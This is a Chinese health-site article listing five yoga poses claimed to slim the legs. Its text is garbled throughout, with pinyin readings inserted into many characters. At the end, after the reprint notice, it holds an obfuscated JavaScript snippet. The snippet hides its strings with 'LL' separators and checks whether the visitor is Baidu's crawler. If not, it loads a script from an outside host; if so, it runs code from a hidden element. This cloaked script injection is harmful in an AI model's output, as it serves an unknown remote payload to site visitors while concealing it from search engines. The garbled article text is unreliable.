當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

瑜伽瘦腿小腿的動作有什么

2017-04-16 13:34:42  來源:360常識網(wǎng)   熱度:
導(dǎo)語:春天一來大家就會想著減肥,想著把厚厚的衣服換位單薄的美麗衣服,但是現(xiàn)在大家在任何的時(shí)候都想減肥,當(dāng)然誰都想擁有一雙纖細(xì)的腿,大長腿

春天一來大家就會想著減肥,想著把厚厚的衣服換位單薄的美麗衣服,但是現(xiàn)在大家在任何的時(shí)候都想減肥,當(dāng)然誰都想擁有一雙纖細(xì)的腿,大長腿么,誰都想要,除了先天性的家族遺傳因素,很多的大長腿都是鍛煉出來的,所以很多美女們都想盡辦法獲得美腿,完美的身材,那么瑜伽上有什么辦法能解決這樣的問題呢?我們一起來看看介紹。

一、虎伸展式美化膝蓋和腿部

1.雙膝著地,分開雙手和肩一樣寬,置于地板。

2.吸氣,把背部盡量上弓,抬起左膝,內(nèi)縮頭部,吐氣,停留數(shù)秒。

3.吸氣,左腳往后方拉開,伸直,放松腰部盡量向下陷,頭盡量抬高向上看,腿、膝盡量抬高停留數(shù)秒。吐氣,還原,換邊進(jìn)行,重復(fù)6次。

二、弓步上拉伸展大腿前側(cè)線條

1.兩腿呈弓步最大程度拉開,挺直身體,雙手合于胸前,眼睛平視前方。

2.下壓身體,上舉雙手,始終保證上半身直立。保持一分鐘,換邊進(jìn)行。左右交替5組,每組10次。

三、跨步側(cè)拉修飾腿部線條

1.兩腳跨立,左腿屈膝呈90度,側(cè)彎身體。

2.左手貼近腳側(cè)接觸地面,右腿盡量側(cè)開,右手臂斜上側(cè)舉,和右腿呈一條直線。靜止一分鐘,換邊。左右交替5組,每組10次。

四、身印式瘦大腿

1.坐正,腰背挺直,進(jìn)行深呼吸。吸氣,彎曲左膝,左腳放到右大腿上。

2.吐氣,身體緩緩前彎,雙手將右腳抓住,停留數(shù)秒。還原,換邊,重復(fù)3到5次。

五、單腿支撐拉伸大腿后側(cè)線條

1.微彎膝蓋,雙手和肩一樣寬,往外側(cè)伸展,拉長頭頂?shù)焦桥璧椎木嚯x。

2.從髖關(guān)節(jié)對折身體,讓下腹部與肋骨大腿貼近,再收下巴拉長頸部后側(cè),兩手至于腳掌旁,手肘朝向后方。

通過上面的內(nèi)容我們知道了瑜伽瘦腿小腿的動作有哪些,現(xiàn)在就可以滿足美女們的要求,想要大長腿很簡單,通過上面的方法進(jìn)行鍛煉,肯定會有效的,但是還要養(yǎng)成良好的生活習(xí)慣。不管是用什么方法只要是適合自己的就是好方法,當(dāng)然堅(jiān)持也很重要,如果不堅(jiān)持,什么運(yùn)動也瘦不了小腿。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}